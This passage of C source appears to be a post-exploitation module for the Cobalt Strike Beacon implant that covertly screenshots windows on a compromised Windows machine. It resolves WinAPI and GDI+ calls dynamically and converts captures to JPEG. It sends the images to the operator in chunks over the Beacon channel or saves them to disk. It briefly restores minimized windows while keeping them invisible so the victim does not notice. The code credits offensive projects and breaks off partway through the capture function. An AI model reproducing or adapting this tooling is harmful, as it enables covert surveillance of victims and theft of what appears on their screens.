LPRECT);\ntypedef HANDLE(WINAPI* PFN_CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);\ntypedef BOOL(WINAPI* PFN_WriteFile) (HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);\ntypedef BOOL(WINAPI* PFN_CloseHandle)(HANDLE);\ntypedef HGLOBAL(WINAPI* PFN_GlobalAlloc)(UINT, SIZE_T);\ntypedef LPVOID(WINAPI* PFN_GlobalLock)(HGLOBAL);\ntypedef BOOL(WINAPI* PFN_GlobalUnlock)(HGLOBAL);\ntypedef HGLOBAL(WINAPI* PFN_GlobalFree)(HGLOBAL);\ntypedef BOOL(WINAPI* PFN_GetWindowPlacement)(HWND, WINDOWPLACEMENT*);\ntypedef DWORD(WINAPI* PFN_GetWindowThreadProcessId)(HWND, LPDWORD);\ntypedef BOOL(WINAPI* PFN_EnumWindows)(WNDENUMPROC, LPARAM);\ntypedef int     (WINAPI* PFN_GetSystemMetrics)(int);\ntypedef BOOL(WINAPI* PFN_SetWindowPos)(HWND, HWND, int, int, int, int, UINT);\ntypedef BOOL(WINAPI* PFN_DeleteObject)(HGDIOBJ);\ntypedef HGDIOBJ(WINAPI* PFN_SelectPalette)(HDC, HPALETTE, BOOL);\ntypedef UINT(WINAPI* PFN_RealizePalette)(HDC);\ntypedef int     (WINAPI* PFN_GetDIBits)(HDC, HBITMAP, UINT, UINT, LPVOID, LPBITMAPINFO, UINT);\ntypedef BOOL(WINAPI* PFN_IsWindowVisible)(HWND);\ntypedef DWORD (WINAPI* PFN_GetCurrentProcessId)(void);\ntypedef BOOL (WINAPI* PFN_ProcessIdToSessionId)(DWORD dwProcessId, DWORD* pSessionId);\ntypedef BOOL (WINAPI *PFN_GetHandleInformation)(HANDLE, LPDWORD);\n//-------------------------------------------------------------\n// init my func ptrs\n//-------------------------------------------------------------\nstatic PFN_CreateDCA              pCreateDC = NULL;\nstatic PFN_GetDeviceCaps          pGetDeviceCaps = NULL;\nstatic PFN_DeleteDC               pDeleteDC = NULL;\nstatic PFN_GetObjectA             pGetObjectA = NULL;\nstatic PFN_GetStockObject         pGetStockObject = NULL;\nstatic PFN_GetDC                  pGetDC = NULL;\nstatic PFN_ReleaseDC              pReleaseDC = NULL;\nstatic PFN_CreateCompatibleDC     pCreateCompatibleDC = NULL;\nstatic PFN_CreateCompatibleBitmap pCreateCompatibleBitmap = NULL;\nstatic PFN_SelectObject           pSelectObject = NULL;\nstatic PFN_PrintWindow            pPrintWindow = NULL;\nstatic PFN_BitBlt                 pBitBlt = NULL;\nstatic PFN_StretchBlt             pStretchBlt = NULL;\nstatic PFN_ShowWindow             pShowWindow = NULL;\nstatic PFN_SetWindowLongA         pSetWindowLongA = NULL;\nstatic PFN_SetStretchBltMode      pSetStretchBltMode = NULL;\nstatic PFN_SetLayeredWindowAttributes pSetLayeredWindowAttributes = NULL;\nstatic PFN_UpdateWindow           pUpdateWindow = NULL;\nstatic PFN_Sleep                  pSleep = NULL;\nstatic PFN_GetWindowRect          pGetWindowRect = NULL;\nstatic PFN_CreateFileA            pCreateFileA = NULL;\nstatic PFN_WriteFile              pWriteFile = NULL;\nstatic PFN_CloseHandle            pCloseHandle = NULL;\nstatic PFN_GlobalAlloc            pGlobalAlloc = NULL;\nstatic PFN_GlobalLock             pGlobalLock = NULL;\nstatic PFN_GlobalUnlock           pGlobalUnlock = NULL;\nstatic PFN_GlobalFree             pGlobalFree = NULL;\nstatic PFN_GetWindowPlacement     pGetWindowPlacement = NULL;\nstatic PFN_GetWindowThreadProcessId pGetWindowThreadProcessId = NULL;\nstatic PFN_EnumWindows            pEnumWindows = NULL;\nstatic PFN_GetSystemMetrics       pGetSystemMetrics = NULL;\nstatic PFN_SetWindowPos           pSetWindowPos = NULL;\nstatic PFN_DeleteObject           pDeleteObject = NULL;\nstatic PFN_SelectPalette          pSelectPalette = NULL;\nstatic PFN_RealizePalette         pRealizePalette = NULL;\nstatic PFN_GetDIBits              pGetDIBits = NULL;\nstatic PFN_IsWindowVisible        pIsWindowVisible = NULL;\nstatic PFN_GetCurrentProcessId    pGetCurrentProcessId = NULL;\nstatic PFN_ProcessIdToSessionId   pProcessIdToSessionId = NULL;\nstatic PFN_GetHandleInformation pGetHandleInformation = NULL;\n//-------------------------------------------------------------\n// Dynamically resolve the required WinAPI functions because winapi limit :(\n//-------------------------------------------------------------\nvoid ResolveAPIs(void)\n{\n    HMODULE hKernel32 = GetModuleHandleA(\"kernel32.dll\");\n    HMODULE hUser32 = GetModuleHandleA(\"user32.dll\");\n    HMODULE hGdi32 = GetModuleHandleA(\"gdi32.dll\");\n    HMODULE hMSVCRT = GetModuleHandleA(\"msvcrt.dll\");\n    pgetenv = (PFN_getenv)GetProcAddress(hMSVCRT, \"getenv\");\n    pCreateDC = (PFN_CreateDCA)GetProcAddress(hGdi32, \"CreateDCA\");\n    pGetDeviceCaps = (PFN_GetDeviceCaps)GetProcAddress(hGdi32, \"GetDeviceCaps\");\n    pDeleteDC = (PFN_DeleteDC)GetProcAddress(hGdi32, \"DeleteDC\");\n    pGetObjectA = (PFN_GetObjectA)GetProcAddress(hGdi32, \"GetObjectA\");\n    pGetStockObject = (PFN_GetStockObject)GetProcAddress(hGdi32, \"GetStockObject\");\n    pGetDC = (PFN_GetDC)GetProcAddress(hUser32, \"GetDC\");\n    pReleaseDC = (PFN_ReleaseDC)GetProcAddress(hUser32, \"ReleaseDC\");\n    pCreateCompatibleDC = (PFN_CreateCompatibleDC)GetProcAddress(hGdi32, \"CreateCompatibleDC\");\n    pCreateCompatibleBitmap = (PFN_CreateCompatibleBitmap)GetProcAddress(hGdi32, \"CreateCompatibleBitmap\");\n    pSelectObject = (PFN_SelectObject)GetProcAddress(hGdi32, \"SelectObject\");\n    pPrintWindow = (PFN_PrintWindow)GetProcAddress(hUser32, \"PrintWindow\");\n    pBitBlt = (PFN_BitBlt)GetProcAddress(hGdi32, \"BitBlt\");\n    pStretchBlt = (PFN_StretchBlt)GetProcAddress(hGdi32, \"StretchBlt\");\n    pShowWindow = (PFN_ShowWindow)GetProcAddress(hUser32, \"ShowWindow\");\n    pSetWindowLongA = (PFN_SetWindowLongA)GetProcAddress(hUser32, \"SetWindowLongA\");\n    pSetStretchBltMode = (PFN_SetStretchBltMode)GetProcAddress(hGdi32, \"SetStretchBltMode\");\n    pSetLayeredWindowAttributes = (PFN_SetLayeredWindowAttributes)GetProcAddress(hUser32, \"SetLayeredWindowAttributes\");\n    pUpdateWindow = (PFN_UpdateWindow)GetProcAddress(hUser32, \"UpdateWindow\");\n    pSleep = (PFN_Sleep)GetProcAddress(hKernel32, \"Sleep\");\n    pGetWindowRect = (PFN_GetWindowRect)GetProcAddress(hUser32, \"GetWindowRect\");\n    pCreateFileA = (PFN_CreateFileA)GetProcAddress(hKernel32, \"CreateFileA\");\n    pWriteFile = (PFN_WriteFile)GetProcAddress(hKernel32, \"WriteFile\");\n    pCloseHandle = (PFN_CloseHandle)GetProcAddress(hKernel32, \"CloseHandle\");\n    pGlobalAlloc = (PFN_GlobalAlloc)GetProcAddress(hKernel32, \"GlobalAlloc\");\n    pGlobalLock = (PFN_GlobalLock)GetProcAddress(hKernel32, \"GlobalLock\");\n    pGlobalUnlock = (PFN_GlobalUnlock)GetProcAddress(hKernel32, \"GlobalUnlock\");\n    pGlobalFree = (PFN_GlobalFree)GetProcAddress(hKernel32, \"GlobalFree\");\n    pGetWindowPlacement = (PFN_GetWindowPlacement)GetProcAddress(hUser32, \"GetWindowPlacement\");\n    pGetWindowThreadProcessId = (PFN_GetWindowThreadProcessId)GetProcAddress(hUser32, \"GetWindowThreadProcessId\");\n    pEnumWindows = (PFN_EnumWindows)GetProcAddress(hUser32, \"EnumWindows\");\n    pGetSystemMetrics = (PFN_GetSystemMetrics)GetProcAddress(hUser32, \"GetSystemMetrics\");\n    pSetWindowPos = (PFN_SetWindowPos)GetProcAddress(hUser32, \"SetWindowPos\");\n    pDeleteObject = (PFN_DeleteObject)GetProcAddress(hGdi32, \"DeleteObject\");\n    pSelectPalette = (PFN_SelectPalette)GetProcAddress(hGdi32, \"SelectPalette\");\n    pRealizePalette = (PFN_RealizePalette)GetProcAddress(hGdi32, \"RealizePalette\");\n    pGetDIBits = (PFN_GetDIBits)GetProcAddress(hGdi32, \"GetDIBits\");\n    pIsWindowVisible = (PFN_IsWindowVisible)GetProcAddress(hUser32, \"IsWindowVisible\");\n    pGetCurrentProcessId = (PFN_GetCurrentProcessId)GetProcAddress(hKernel32, \"GetCurrentProcessId\");\n    pProcessIdToSessionId = (PFN_ProcessIdToSessionId)GetProcAddress(hKernel32, \"ProcessIdToSessionId\");\n    pGetHandleInformation = (PFN_GetHandleInformation)GetProcAddress(hKernel32, \"GetHandleInformation\");\n}\n\n//-------------------------------------------------------------\n// Dynamically resolve more GDI+ functions\n//-------------------------------------------------------------\ntypedef Status(WINAPI* PFN_GdiplusStartup)(ULONG_PTR*, const GdiplusStartupInput*, GdiplusStartupOutput*);\ntypedef VOID(WINAPI* PFN_GdiplusShutdown)(ULONG_PTR);\ntypedef Status(WINAPI* PFN_GdipCreateBitmapFromHBITMAP)(HBITMAP, HPALETTE, GpBitmap**);\ntypedef Status(WINAPI* PFN_GdipDisposeImage)(GpImage*);\ntypedef Status(WINAPI* PFN_GdipSaveImageToStream)(GpImage*, IStream*, const CLSID*, const EncoderParameters*);\ntypedef Status(WINAPI* PFN_GdipBitmapLockBits)(GpBitmap*, const GpRect*, UINT, PixelFormat, BitmapData*);\ntypedef Status(WINAPI* PFN_GdipBitmapUnlockBits)(GpBitmap*, BitmapData*);\ntypedef Status(WINAPI* PFN_GdipGetImageWidth)(GpImage*, UINT*);\ntypedef Status(WINAPI* PFN_GdipGetImageHeight)(GpImage*, UINT*);\ntypedef Status(WINAPI* PFN_GdipCloneBitmapAreaI)(INT, INT, INT, INT, PixelFormat, GpBitmap*, GpBitmap**);\n\nstatic PFN_GdiplusStartup pGdiplusStartup = NULL;\nstatic PFN_GdiplusShutdown pGdiplusShutdown = NULL;\nstatic PFN_GdipCreateBitmapFromHBITMAP pGdipCreateBitmapFromHBITMAP = NULL;\nstatic PFN_GdipDisposeImage pGdipDisposeImage = NULL;\nstatic PFN_GdipSaveImageToStream pGdipSaveImageToStream = NULL;\nstatic PFN_GdipBitmapLockBits pGdipBitmapLockBits = NULL;\nstatic PFN_GdipBitmapUnlockBits pGdipBitmapUnlockBits = NULL;\nstatic PFN_GdipGetImageWidth pGdipGetImageWidth = NULL;\nstatic PFN_GdipGetImageHeight pGdipGetImageHeight = NULL;\nstatic PFN_GdipCloneBitmapAreaI pGdipCloneBitmapAreaI = NULL;\n\nvoid ResolveGdiPlus()\n{\n    HMODULE hGdiPlus = GetModuleHandleA(\"gdiplus.dll\");\n    hGdiPlus = LoadLibraryA(\"gdiplus.dll\");\n    pGdiplusStartup = (PFN_GdiplusStartup)GetProcAddress(hGdiPlus, \"GdiplusStartup\");\n    pGdiplusShutdown = (PFN_GdiplusShutdown)GetProcAddress(hGdiPlus, \"GdiplusShutdown\");\n    pGdipCreateBitmapFromHBITMAP = (PFN_GdipCreateBitmapFromHBITMAP)GetProcAddress(hGdiPlus, \"GdipCreateBitmapFromHBITMAP\");\n    pGdipDisposeImage = (PFN_GdipDisposeImage)GetProcAddress(hGdiPlus, \"GdipDisposeImage\");\n    pGdipSaveImageToStream = (PFN_GdipSaveImageToStream)GetProcAddress(hGdiPlus, \"GdipSaveImageToStream\");\n    pGdipBitmapLockBits = (PFN_GdipBitmapLockBits)GetProcAddress(hGdiPlus, \"GdipBitmapLockBits\");\n    pGdipBitmapUnlockBits = (PFN_GdipBitmapUnlockBits)GetProcAddress(hGdiPlus, \"GdipBitmapUnlockBits\");\n    pGdipGetImageWidth = (PFN_GdipGetImageWidth)GetProcAddress(hGdiPlus, \"GdipGetImageWidth\");\n    pGdipGetImageHeight = (PFN_GdipGetImageHeight)GetProcAddress(hGdiPlus, \"GdipGetImageHeight\");\n    pGdipCloneBitmapAreaI = (PFN_GdipCloneBitmapAreaI)GetProcAddress(hGdiPlus, \"GdipCloneBitmapAreaI\");\n}\n\n//-------------------------------------------------------------\n// Download file over Beacon\n// credit: https://github.com/anthemtotheego/CredBandit/blob/e2e804a19a09003fa6a054a76f322adb32cd7adc/src/credBandit.c#L10\n//-------------------------------------------------------------\nvoid downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize)\n{\n    time_t t;\n    MSVCRT$srand((unsigned)MSVCRT$time(&t));\n    int fileId = MSVCRT$rand();\n\n    int messageLength = downloadFileNameLength + 8;\n    char* packedData = (char*)MSVCRT$malloc(messageLength);\n\n    /* Pack fileId (4 bytes) */\n    packedData[0] = (fileId >> 24) & 0xFF;\n    packedData[1] = (fileId >> 16) & 0xFF;\n    packedData[2] = (fileId >> 8) & 0xFF;\n    packedData[3] = fileId & 0xFF;\n\n    /* Pack fileSize (4 bytes) */\n    packedData[4] = (fileSize >> 24) & 0xFF;\n    packedData[5] = (fileSize >> 16) & 0xFF;\n    packedData[6] = (fileSize >> 8) & 0xFF;\n    packedData[7] = fileSize & 0xFF;\n\n    int packedIndex = 8;\n    for (int i = 0; i < downloadFileNameLength; i++) {\n        packedData[packedIndex++] = fileName[i];\n    }\n    BeaconOutput(CALLBACK_FILE, packedData, messageLength);\n\n    int chunkSize = 1024 * 900;\n    if (fileSize > chunkSize) {\n        int index = 0;\n        while (index < fileSize) {\n            if (fileSize - index > chunkSize) {\n                int chunkLength = 4 + chunkSize;\n                char* packedChunk = (char*)MSVCRT$malloc(chunkLength);\n                packedChunk[0] = (fileId >> 24) & 0xFF;\n                packedChunk[1] = (fileId >> 16) & 0xFF;\n                packedChunk[2] = (fileId >> 8) & 0xFF;\n                packedChunk[3] = fileId & 0xFF;\n                int chunkIndex = 4;\n                for (int i = index; i < index + chunkSize; i++) {\n                    packedChunk[chunkIndex++] = returnData[i];\n                }\n                BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);\n                free(packedChunk);\n            }\n            else {\n                int lastChunkLength = fileSize - index + 4;\n                char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength);\n                lastChunk[0] = (fileId >> 24) & 0xFF;\n                lastChunk[1] = (fileId >> 16) & 0xFF;\n                lastChunk[2] = (fileId >> 8) & 0xFF;\n                lastChunk[3] = fileId & 0xFF;\n                int lastChunkIndex = 4;\n                for (int i = index; i < fileSize; i++) {\n                    lastChunk[lastChunkIndex++] = returnData[i];\n                }\n                BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength);\n                free(lastChunk);\n            }\n            index += chunkSize;\n        }\n    }\n    else {\n        int chunkLength = 4 + fileSize;\n        char* packedChunk = (char*)MSVCRT$malloc(chunkLength);\n        packedChunk[0] = (fileId >> 24) & 0xFF;\n        packedChunk[1] = (fileId >> 16) & 0xFF;\n        packedChunk[2] = (fileId >> 8) & 0xFF;\n        packedChunk[3] = fileId & 0xFF;\n        int chunkIndex = 4;\n        for (int i = 0; i < fileSize; i++) {\n            packedChunk[chunkIndex++] = returnData[i];\n        }\n        BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);\n        free(packedChunk);\n    }\n\n    char packedClose[4];\n    packedClose[0] = (fileId >> 24) & 0xFF;\n    packedClose[1] = (fileId >> 16) & 0xFF;\n    packedClose[2] = (fileId >> 8) & 0xFF;\n    packedClose[3] = fileId & 0xFF;\n    BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4);\n\n    free(packedData);\n}\n\n//-------------------------------------------------------------\n// Convert the given HBITMAP to a JPEG in memory using GDI+\n// credit: https://github.com/WKL-Sec/HiddenDesktop/blob/14252f58e3f5379301f0d6334f92f8b96f321a16/client/scmain.c#L125\n//-------------------------------------------------------------\nBOOL BitmapToJpeg(HBITMAP hBitmap, int quality, int grayscale, BYTE** pJpegData, DWORD* pJpegSize)\n{\n    ResolveGdiPlus();\n    if (!pGdiplusStartup || !pGdiplusShutdown || !pGdipCreateBitmapFromHBITMAP ||\n        !pGdipDisposeImage || !pGdipSaveImageToStream)\n    {\n        return FALSE;\n    }\n\n\n    GdiplusStartupInput gdiplusStartupInput;\n    gdiplusStartupInput.GdiplusVersion = 1;\n    gdiplusStartupInput.DebugEventCallback = NULL;\n    gdiplusStartupInput.SuppressBackgroundThread = FALSE;\n    gdiplusStartupInput.SuppressExternalCodecs = FALSE;\n\n    ULONG_PTR gdiplusToken = 0;\n    Status stat = pGdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);\n    if (stat != Ok) {\n        BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] GdiplusStartup failed: %d\", stat);\n        return FALSE;\n    }\n    GpBitmap* pGpBitmap = NULL;\n    stat = pGdipCreateBitmapFromHBITMAP(hBitmap, NULL, &pGpBitmap);\n    if (stat != Ok) {\n        BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] GdipCreateBitmapFromHBITMAP failed: %d\", stat);\n        pGdiplusShutdown(gdiplusToken);\n        return FALSE;\n    }\n\n    if (grayscale) {\n        UINT width = 0, height = 0;\n        if (pGdipGetImageWidth && pGdipGetImageHeight) {\n            Status wStatus = pGdipGetImageWidth((GpImage*)pGpBitmap, &width);\n            Status hStatus = pGdipGetImageHeight((GpImage*)pGpBitmap, &height);\n            if (wStatus != Ok || hStatus != Ok) {\n                BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Failed to get image dimensions: wStatus=%d hStatus=%d\", wStatus, hStatus);\n            }\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] GDI+ dimension helpers not resolved\");\n        }\n\n        if (width && height && pGdipBitmapLockBits && pGdipBitmapUnlockBits) {\n            GpBitmap* pTarget = pGpBitmap;\n            if (pGdipCloneBitmapAreaI) {\n                GpBitmap* pCloned = NULL;\n                Status cloneStatus = pGdipCloneBitmapAreaI(0, 0, (INT)width, (INT)height, PixelFormat24bppRGB, pGpBitmap, &pCloned);\n                if (cloneStatus == Ok && pCloned) {\n                    pTarget = pCloned;\n                } else {\n                    BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] GdipCloneBitmapAreaI failed: %d\", cloneStatus);\n                }\n            }\n\n            GpRect rect = { 0, 0, (INT)width, (INT)height };\n            BitmapData data;\n            Status lockStatus = pGdipBitmapLockBits(pTarget, &rect, ImageLockModeWrite | ImageLockModeRead, PixelFormat24bppRGB, &data);\n            if (lockStatus == Ok) {\n                BYTE* scan0 = (BYTE*)data.Scan0;\n                for (UINT y = 0; y < height; y++) {\n                    BYTE* row = scan0 + y * data.Stride;\n                    for (UINT x = 0; x < width; x++) {\n                        BYTE* px = row + x * 3;\n                        BYTE b = px[0], g = px[1], r = px[2];\n                        BYTE gray = (BYTE)((r * 77 + g * 150 + b * 29) >> 8);\n                        px[0] = gray;\n                        px[1] = gray;\n                        px[2] = gray;\n                    }\n                }\n                pGdipBitmapUnlockBits(pTarget, &data);\n                if (pTarget != pGpBitmap) {\n                    pGdipDisposeImage((GpImage*)pGpBitmap);\n                    pGpBitmap = pTarget;\n                }\n            } else {\n                BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] GdipBitmapLockBits failed: %d\", lockStatus);\n                if (pTarget != pGpBitmap) {\n                    pGdipDisposeImage((GpImage*)pTarget);\n                }\n            }\n        }\n    }\n    IStream* pStream = NULL;\n    if (CreateStreamOnHGlobal(NULL, TRUE, &pStream) != S_OK) {\n        BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] CreateStreamOnHGlobal failed\");\n        pGdipDisposeImage((GpImage*)pGpBitmap);\n        pGdiplusShutdown(gdiplusToken);\n        return FALSE;\n    }\n\n    EncoderParameters encoderParams;\n    encoderParams.Count = 1;\n    CLSID clsidEncoderQuality = { 0x1d5be4b5, 0xfa4a, 0x452d, {0x9c,0xdd,0x5d,0xb3,0x51,0x05,0xe7,0xeb} };\n    encoderParams.Parameter[0].Guid = clsidEncoderQuality;\n    encoderParams.Parameter[0].NumberOfValues = 1;\n    encoderParams.Parameter[0].Type = EncoderParameterValueTypeLong;\n    encoderParams.Parameter[0].Value = &quality;\n\n    CLSID clsidJPEG = { 0x557cf401, 0x1a04, 0x11d3, {0x9a,0x73,0x00,0x00,0xf8,0x1e,0xf3,0x2e} };\n\n    stat = pGdipSaveImageToStream((GpImage*)pGpBitmap, pStream, &clsidJPEG, &encoderParams);\n    if (stat != Ok) {\n        BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] GdipSaveImageToStream failed: %d\", stat);\n        pStream->Release();\n        pGdipDisposeImage((GpImage*)pGpBitmap);\n        pGdiplusShutdown(gdiplusToken);\n        return FALSE;\n    }\n\n    LARGE_INTEGER liZero = { 0 };\n    ULARGE_INTEGER uliSize = { 0 };\n    if (pStream->Seek(liZero, STREAM_SEEK_END, &uliSize) != S_OK) {\n        BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Seek to end failed\");\n        pStream->Release();\n        pGdipDisposeImage((GpImage*)pGpBitmap);\n        pGdiplusShutdown(gdiplusToken);\n        return FALSE;\n    }\n\n    *pJpegSize = (DWORD)uliSize.QuadPart;\n    *pJpegData = (BYTE*)malloc(*pJpegSize);\n    if (!*pJpegData) {\n        pStream->Release();\n        pGdipDisposeImage((GpImage*)pGpBitmap);\n        pGdiplusShutdown(gdiplusToken);\n        return FALSE;\n    }\n\n    if (pStream->Seek(liZero, STREAM_SEEK_SET, NULL) != S_OK) {\n        free(*pJpegData);\n        pStream->Release();\n        pGdipDisposeImage((GpImage*)pGpBitmap);\n        pGdiplusShutdown(gdiplusToken);\n        return FALSE;\n    }\n\n    ULONG bytesRead = 0;\n    if (pStream->Read(*pJpegData, *pJpegSize, &bytesRead) != S_OK || bytesRead != *pJpegSize) {\n        free(*pJpegData);\n        pStream->Release();\n        pGdipDisposeImage((GpImage*)pGpBitmap);\n        pGdiplusShutdown(gdiplusToken);\n        return FALSE;\n    }\n\n    pStream->Release();\n    pGdipDisposeImage((GpImage*)pGpBitmap);\n    pGdiplusShutdown(gdiplusToken);\n    return TRUE;\n}\n\n//-------------------------------------------------------------\n// Save (or download) the given HBITMAP as a JPEG file with the provided filename\n//-------------------------------------------------------------\nBOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName, int savemethod, int grayscale, int quality, int scale)\n{\n    ResolveAPIs();\n\n    BYTE* jpegData = NULL;\n    DWORD jpegSize = 0;\n    HBITMAP hWork = hBitmap;\n    HBITMAP hScaled = NULL;\n\n#ifndef HALFTONE\n#define HALFTONE 4\n#endif\n\n    if (scale > 0 && scale != 100 && pGetObjectA && pCreateCompatibleDC && pCreateCompatibleBitmap &&\n        pSelectObject && pStretchBlt && pSetStretchBltMode && pGetDC && pReleaseDC) {\n        BITMAP bm = { 0 };\n        if (pGetObjectA(hBitmap, sizeof(BITMAP), &bm)) {\n            int newW = (bm.bmWidth * scale) / 100;\n            int newH = (bm.bmHeight * scale) / 100;\n            if (newW > 0 && newH > 0) {\n                HDC hScreen = pGetDC(NULL);\n                HDC hSrcDC = pCreateCompatibleDC(hScreen);\n                HDC hDstDC = pCreateCompatibleDC(hScreen);\n                HGDIOBJ oldSrc = pSelectObject(hSrcDC, hBitmap);\n                hScaled = pCreateCompatibleBitmap(hScreen, newW, newH);\n                if (hScaled) {\n                    HGDIOBJ oldDst = pSelectObject(hDstDC, hScaled);\n                    pSetStretchBltMode(hDstDC, HALFTONE);\n                    if (pStretchBlt(hDstDC, 0, 0, newW, newH, hSrcDC, 0, 0, bm.bmWidth, bm.bmHeight, SRCCOPY)) {\n                        hWork = hScaled;\n                    }\n                    pSelectObject(hDstDC, oldDst);\n                }\n                pSelectObject(hSrcDC, oldSrc);\n                pDeleteDC(hSrcDC);\n                pDeleteDC(hDstDC);\n                pReleaseDC(NULL, hScreen);\n            }\n        }\n    }\n\n\n    if (!BitmapToJpeg(hWork, quality, grayscale, &jpegData, &jpegSize)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Failed to convert bitmap to JPEG\");\n        if (hScaled)\n            pDeleteObject(hScaled);\n        return FALSE;\n    }\n    if (hScaled)\n        pDeleteObject(hScaled);\n\n    if (savemethod == 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Saving JPEG to disk with filename %s\", lpszFileName);\n        HANDLE fh = pCreateFileA(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,\n            FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);\n        if (fh == INVALID_HANDLE_VALUE) {\n            free(jpegData);\n            return FALSE;\n        }\n        DWORD dwWritten;\n        pWriteFile(fh, (LPSTR)jpegData, jpegSize, &dwWritten, NULL);\n        pCloseHandle(fh);\n    }\n    else if (savemethod == 1) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Downloading JPEG over beacon as a file with filename %s\", lpszFileName);\n        downloadFile((char*)lpszFileName, (int)strlen(lpszFileName), (char*)jpegData, (int)jpegSize);\n    }\n    else if (savemethod == 2) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Downloading JPEG over beacon as a screenshot with filename %s\", lpszFileName);\n        \n        DWORD session = -1;\n        if (pGetCurrentProcessId && pProcessIdToSessionId) {\n            pProcessIdToSessionId(pGetCurrentProcessId(), &session);\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Failed to resolve GetCurrentProcessId or ProcessIdToSessionId\");\n        }\n\n        char* user = (char*)pgetenv(\"USERNAME\");\n        char title[] = \"Screenshot\";\n        int userLength = MSVCRT$_snprintf(NULL, 0, \"%s\", user);\n        int titleLength = MSVCRT$_snprintf(NULL, 0, \"%s\", title);\n\n        downloadScreenshot((char*)jpegData, (int)jpegSize,\n                           session,\n                           (char*)title, titleLength,\n                           (char*)user, userLength);\n    }\n    else {\n        BeaconPrintf(CALLBACK_ERROR, \"Unknown savemethod specified: %d\", savemethod);\n        free(jpegData);\n        return FALSE;\n    }\n\n    free(jpegData);\n    return TRUE;\n}\n\n//-------------------------------------------------------------\n// Callback for EnumWindows. It gets a window handle from a PID.\n//-------------------------------------------------------------\nBOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)\n{\n    /* lParam points to a two–element array:\n       index 0: the target PID (stored as LONG_PTR)\n       index 1: the found window handle (initially 0)\n    */\n    LONG_PTR* params = (LONG_PTR*)lParam;\n    DWORD targetPid = (DWORD)params[0];\n    DWORD windowPid = 0;\n    pGetWindowThreadProcessId(hwnd, &windowPid);\n    if (windowPid == targetPid && IsWindowVisible(hwnd)) {\n        params[1] = (LONG_PTR)hwnd;\n        return FALSE;\n    }\n    return TRUE;\n}\n\n//-------------------------------------------------------------\n// Given a PID, uses EnumWindows to find a matching window handle.\n//-------------------------------------------------------------\nHWND FindWindowByPID(DWORD pid, int debug)\n{\n    ResolveAPIs();\n    LONG_PTR params[2];\n    params[0] = (LONG_PTR)pid;\n    params[1] = 0;\n    if (debug)\n        BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] Enumerating windows for PID %d\", pid);\n    EnumWindows(EnumWindowsProc, (LPARAM)&params);\n    if (debug) {\n        if ((HWND)params[1])\n            BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] Found window handle: 0x%p\", (HWND)params[1]);\n        else\n            BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] No window found for PID %d\", pid);\n    }\n    return (HWND)params[1];\n}\n\n//-------------------------------------------------------------\n// Capture the given window (by hwnd) into an HBITMAP.\n// If the window is minimized, it is temporarily restored.\n//-------------------------------------------------------------\nHBITMAP CaptureWindow(HWND hwnd, int debug)\n{\n    ResolveAPIs();\n    if (debug)\n        BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] Starting CaptureWindow for hwnd 0x%p\", hwnd);\n\n    WINDOWPLACEMENT wp = { 0 };\n    wp.length = sizeof(WINDOWPLACEMENT);\n    if (!pGetWindowPlacement(hwnd, &wp)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] GetWindowPlacement failed\");\n        return NULL;\n    }\n    if (debug)\n        BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] Window showCmd: %d\", wp.showCmd);\n\n    RECT captureRect;\n    int width, height;\n    BOOL success = FALSE;\n    HDC hdcScreen = pGetDC(NULL);\n    HDC hdcMem = pCreateCompatibleDC(hdcScreen);\n    HBITMAP hBitmap = NULL;\n\n    if (wp.showCmd == SW_SHOWMINIMIZED) {\n        if (debug)\n            BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] Window is minimized; restoring temporarily for capture\");\n\n        LONG exStyle = GetWindowLong(hwnd, GWL_EXSTYLE);\n        pSetWindowLongA(hwnd, GWL_EXSTYLE, exStyle | WS_EX_LAYERED | WS_EX_TOOLWINDOW);\n        pSetLayeredWindowAttributes(hwnd, 0, 0, LWA_ALPHA);\n        pShowWindow(hwnd, SW_RESTORE);\n        pUpdateWindow(hwnd);\n        pSleep(500);  /* Allow time for rendering */\n\n        if (!pGetWindowRect(hwnd, &captureRect)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] GetWindowRect failed (restored window)\");\n            goto cleanup;\n        }\n        width = captureRect.right - captureRect.left;\n        height = captureRect.bottom - captureRect.top;\n        if (debug)\n            BeaconPrintf(CALLBACK_OUTPUT, \"[DEBUG] Restored window dimensions: %d x %d\", width, height);\n        if (width <= 0 || height <= 0) {\n            BeaconPrintf(CALLBACK_ERROR, \"[DEBUG] Invalid window dimensions\");\n            goto cleanup;\n        }\n        hBitmap = pCreateCompatibleBitmap(hdcScreen, width, height);\n        if (!hBitmap) {\n            